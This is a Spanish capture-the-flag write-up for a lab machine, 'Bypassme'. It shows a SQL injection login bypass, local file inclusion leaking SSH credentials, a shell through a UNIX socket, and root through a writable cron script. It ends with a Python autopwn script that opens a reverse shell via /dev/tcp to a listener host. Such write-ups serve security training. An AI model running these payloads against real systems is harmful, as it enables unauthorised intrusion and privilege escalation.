> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/bypassme-write-up.md).

# Bypassme write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/FGUK3oLAYD2lvtblJrN4" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=10000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/BeKQuNNHni52dL3PLWHH" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/LDvkobnnugOXYKvBLisc" alt=""><figcaption></figcaption></figure>

Observamos un login, por lo que probaremos varias inyecciones SQL para intentar evadir el login. Para ello usaremos el siguiente diccionario de [Github](https://github.com/austinsonger/SQL-Injection-Authentication-Bypass-Cheat-Sheet). Si probamos a inyectar lo siguiente:

```plaintext
admin
```

```plaintext
test' or '1'='1' -- -
```

<figure><img src="/files/eR3kL3Z8V9fjWutwkgzH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jY37LT71iGVGNYV1YpOp" alt=""><figcaption></figcaption></figure>

Observamos que pudimos acceder. Ahora en el cuadro de mando se indica que los logs están públicos y también se habla de una barra de navegación. Así que vamos a usar **Dirb** para enumerar rutas ocultas con el siguiente comando:

```bash
dirb http://172.17.0.2/
```

<figure><img src="/files/wP5hH3NNLKlO3LQXZQRO" alt=""><figcaption></figcaption></figure>

Esto indica la existencia de la carpeta logs. Si nos fijamos observamos que en la ruta del cuadro de mando se esta usando el parámetro `page`. Así que vamos a usar **Wfuzz** para enumerar un posible archivo en la carpeta `logs` explotando un LFI ejecutando lo siguiente:

```bash
wfuzz -c -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=u78js0ml793ps6fg5racc8a98k" --hl 2 http://172.17.0.2/index.php?page=/logs/FUZZ.txt
```

<figure><img src="/files/BhW9wZXJWi6X58uGm8tb" alt=""><figcaption></figcaption></figure>

Esto indica que podemos acceder al archivo `logs.txt` explotando un LFI en el parámetro `page`.

<figure><img src="/files/k8EbGaQQ6YX8wafD1YKC" alt=""><figcaption></figcaption></figure>

Viendo el contenido, observamos que el usuario `albert` pudo acceder al servicio SSH usando como contraseña `NGxiM3J0MTIz`, así que vamos a probar esas credenciales para iniciar sesión.

<figure><img src="/files/yDSBVrrreue1Lr6rTnW5" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, ejecutamos el comando `ps aux | cat`, el cual indica que hay un archivo socket UNIX en escucha que, al conectarse, ejecuta el binario `/bin/bash` como el usuario `conx`.

<figure><img src="/files/ZQVDDZgEqrjmGdCySECT" alt=""><figcaption></figcaption></figure>

Entonces, para conectarnos a la shell `/bin/bash` a través del socket, ejecutaremos lo siguiente:

```bash
socat - UNIX-CONNECT:/home/conx/.cache/.sock
```

<figure><img src="/files/Vf3SUKsgzsCKTBrEBjqL" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `conx`, observamos que se está ejecutando `/usr/sbin/cron -P` como root. Si inspeccionamos que se está ejecutando en la ruta `/etc/cron.d` contemplamos lo siguiente:

<figure><img src="/files/j0In0TWqHLxMZOkur49G" alt=""><figcaption></figcaption></figure>

Esto indica que se está ejecutando el script `/var/backups/backup.sh` como usuario `root`. Por lo que cambiaremos el contenido del script para dar permisos SUID al binario `/bin/bash`.

```bash
#!/bin/bash

chmod u+s /bin/bash
```

<figure><img src="/files/ef8NrHVuB5Xh8ytmo71C" alt=""><figcaption></figcaption></figure>

Ahora esperamos 1 minuto y ejecutamos `bash -p`

<figure><img src="/files/trU70TY6OYyx7n73mWd9" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1
sleep 5
spawn zsh
expect "└─$ "
send "ssh albert@172.17.0.2\r"
expect "password:  "
send "NGxiM3J0MTIz\r"
expect "*$ "
sleep 1
send "socat - UNIX-CONNECT:/home/conx/.cache/.sock\r"
sleep 1
expect " "
send "script /dev/null -c /bin/bash\r"
sleep 1
expect "$ "
send {echo '#!/bin/bash' > /var/backups/backup.sh }
sleep 1
expect " "
send "\r"
sleep 1
expect "$ "
send {echo -e "" >> /var/backups/backup.sh}
send "\r"
sleep 1
expect "$ "
send {echo "chmod 4777 /bin/bash" >> /var/backups/backup.sh}
send "\r"
sleep 1
expect "$ "
send {sleep 60}
send "\r"
sleep 1
set timeout 60
expect "$ "
send {bash -p}
send "\r"
sleep 1
expect "# "
send {bash -p -i >& /dev/tcp/172.17.0.1/4444 0>&1}
sleep 1
expect " "
send "\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")



def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(0.3)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def main():

    crear_script_expect()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(1)

    os.system("nc -nlvvp 4444 ")

    os.system("rm script1.exp")
    

if __name__ == "__main__":
    main()
```
